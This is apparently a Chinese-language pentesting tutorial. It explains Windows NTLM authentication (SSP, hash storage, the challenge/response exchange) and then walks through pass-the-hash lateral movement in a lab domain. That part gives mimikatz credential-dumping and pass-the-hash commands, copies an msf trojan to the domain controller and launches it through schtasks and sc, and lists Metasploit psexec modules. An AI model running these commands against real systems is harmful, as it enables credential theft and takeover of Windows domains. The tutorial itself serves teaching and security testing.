0x01 NTLM与NTLM身份认证

内网渗透注重底层协议和原理的学习 包括windows的常见认证体系与基础协议的概念和原理,下面介绍一下windows NTLM认证的相关内容

1.SSPI和SSP

SSPI即安全服务提供接口,这是windows定义的一套接口,该接口定义了与安全有关的功能,包括不限于
a.身份验证机制
b.信息完整性
c.为其他协议提供的会话安全机制

SSP即安全服务提供,它是SSPI的实现者,是对SSPI相关功能函数的具体实现,微软实现了如下SSP
a.NTLM SSP
b.Kerberos
c.Digest SSP
d.Cred SSP

在系统层面,SSP是一个dll,来实现身份验证等安全功能,实现的身份验证机制是不一样的,比如NTLM SSP 实现的就是一种Challenge/Response验证机制,而Kerberors SSP实现的是基于ticket的身份验证机制。

2.什么是windows认证

认证意思就是对方想证明你身份的过程,比如你通过网络访问一个受保护的资源,服务器需要认证你的身份,你说你是管理员,但是你怎么证明你就是管理员呢?我凭什么相信你的话,就是这样的一个过程。

思路大概如下
你直接提供用户的密码给服务器,然后服务器去数据库里面对比,看你提供的密码对不对,但是这样就将密码明文暴露出来,显得不安全。于是我们换个思路,在不直接提供明文密码的时候,间接证明你知道用户的密码。

Windows最常见的认证方式有NTLM认证和kerberos认证。

3.LM Hash和NTLM Hash

windows中是不会保存明文密码的,只会保存密码的哈希值,其中本机用户的密码哈希是放在本地的SAM文件里面,域内用户的密码哈希是保存在域控的NTDS.dit文件里面,在渗透测试中,可以从windows系统的SAM文件和域控的NTDS.dit文件导出所有用户的Hash,

从Windows Vista 和 Windows Server 2008开始,默认情况下只存储 NTLM Hash

4.NTLM 身份验证机制

分为本地认证和网络认证,NTLM的网络认证,即可用于域内的认证服务,又可用于工作组环境,NTLM有NTLMv1、NTLMv2、NTLMsession V2三个版本,最常用是的NTLM v2

NTLM在工作组环境中的认证

NTLM 在网络环境中的认证采用的是Challenge/Response验证机制,有三种消息组成
type1:协商
type2:质询
type3:身份验证

介绍一下NTLM在工作组环境的工作机制

NTLM认证 - 图1

1、客户端发送协商消息(用户、机器、使用安全服务)给服务端
2、服务端收到协商消息之后,将 TYPE2 challenge挑战消息发回给客户端(TYPE2包括服务端生成的16位随机值)
3、客户端接收到服务端的TYPE2,读取内容取出随机值并加密得到Net-NTLMHash,将其封装到TYPE3消息中发往服务端
4、服务端收到TYPE3之后,用NTLM-Hash对challenge加密得出认证消息1,比较认证消息1和客户端发过来的认证消息2是否匹配,匹配成功则认证成功,否则认证失败

NTLM在域环境中的认证

NTLM认证 - 图2
(4)服务器接收到客户端发送来的 TYPE 3 消息后,取出其中的 Net NTLM-Hash 值,并向域控制器发送针对客户端的验证请求。该请求主要包含以下三方面的内容:用户名(服务器端的用户名)、原始的 Challenge 和 加密后的 Challenge(即Net NTLM-Hash)。
(5)然后域控制器会根据用户名获取该帐号的密码哈希值 NTLM Hash,用哈希值对原始的 Challenge 进行加密得到 Net NTLM-Hash 。如果加密后的 Challenge 和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。并将验证结果发给服务器。

(6)服务器根据域控制器返回的结果,对客户端进行回复。

NTLM认证的相关安全问题

1、哈希传递攻击
2、利用NTLM进行内网信息收集
3、NTLM Relay

5.哈希传递攻击

哈希传递简称PTH,该方法通过找到与账户相关的密码散列值(NTLM Hash)来攻击,由于在Windows系统NTLM认证的type3消息计算 Response 的时候,客户端是使用用户的 NTLM Hash 进行计算的,而不是用户密码进行计算的。因此在模拟用户登录或对访问资源的用户进行身份认证的时候,是不需要用户明文密码的,只需要用户 Hash。攻击者可以利用 NTLM HASH 直接远程登录目标主机或反弹 Shell。

在域环境中,用户登录计算机时一般使用域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也相同,攻击者就能使用哈希传递攻击的方法来登录内网中的其他主机。使用该方法,攻击者不需要花费时间来对Hash进行爆破,在内网渗透里非常经典。常常适用于域环境或工作组环境。

NTLM认证 - 图3

如图中,右侧是一个内网环境,域名为god,有三台机器:Windows 7、Windows Server 2008、Windows Server 2003,其中Windows 7和Windows Server 2003都可以上网但没有公网IP。攻击者使用公网VPS。

Windows Server 2008(192.168.52.138)为域控制器(机器名为OWA),假设我们攻击者已经获得了Windows 7域成员主机的控制权,需要进一步横向渗透去拿下Windows Server 2003和域控。

使用mimikatz进行PTH(需要管理员权限)

在windows7上上次mimikatz,并用mimikatz抓取hash
命令如下

  1. privilege::debug
  2. sekurlsa::logonpasswords

得到hash之后使用mimikatz如下命令将administrator的hash添加进去

  1. privilege::debug
  2. sekurlsa::pth /user:administrator /domain:workgroup /ntlm:4d6e43b2cdc951808100f5b1d09aac63

添加成功之后会弹出一个CMD窗口,这时访问远程主机或者服务,就不需要提供明文密码
命令:dir \AD-server.0hIry.com\c$
image.png

我们也可以将msf木马copy到域控上并设置计划任务或者创建服务来执行

  1. copy bindshell.exe \\OWA\c$ // 将msf木马bindshell.exe复制到目标机器上
  2. schtasks /create /tn "shell" /tr C:\bindshell.exe /sc MINUTE /s 192.168.52.138 // 在域控上创建shell计划任务,开机时启动c盘下bindshell.exeschtasks /run /s 192.168.52.138 /i /tn "shell" // 在域控上立即启动该计划任务sc
  3. \\OWA create bindshell binpath= "c:\bindshell.exe" // 在域控上创建服务启动木马sc
  4. \\OWA start bindshell // 在域控上立即启动该服务

dir命令后面需要使用主机名,不能用ip,否则报错
使用mimikatz进行哈希传递要有本地管理员权限

使用metasploit进行PTH

  1. auxiliary/admin/smb/psexec_command // 在目标机器上执行系统命令
  2. exploit/windows/smb/psexec // 用psexec执行系统命令
  3. exploit/windows/smb/psexec_psh // 使用powershell作为payload

使用wmiexec进行PTH

  1. 1python版本 ---https://github.com/SecureAuthCorp/impacket
  2. 2exe版本 ---https://github.com/maaaaz/impacket-examples-windows
  3. 3powershell版本 ----https://github.com/Kevin-Robertson/Invoke-TheHash

详细用法见 https://mp.weixin.qq.com/s/ZjdQVG__98doTH2GCjLNww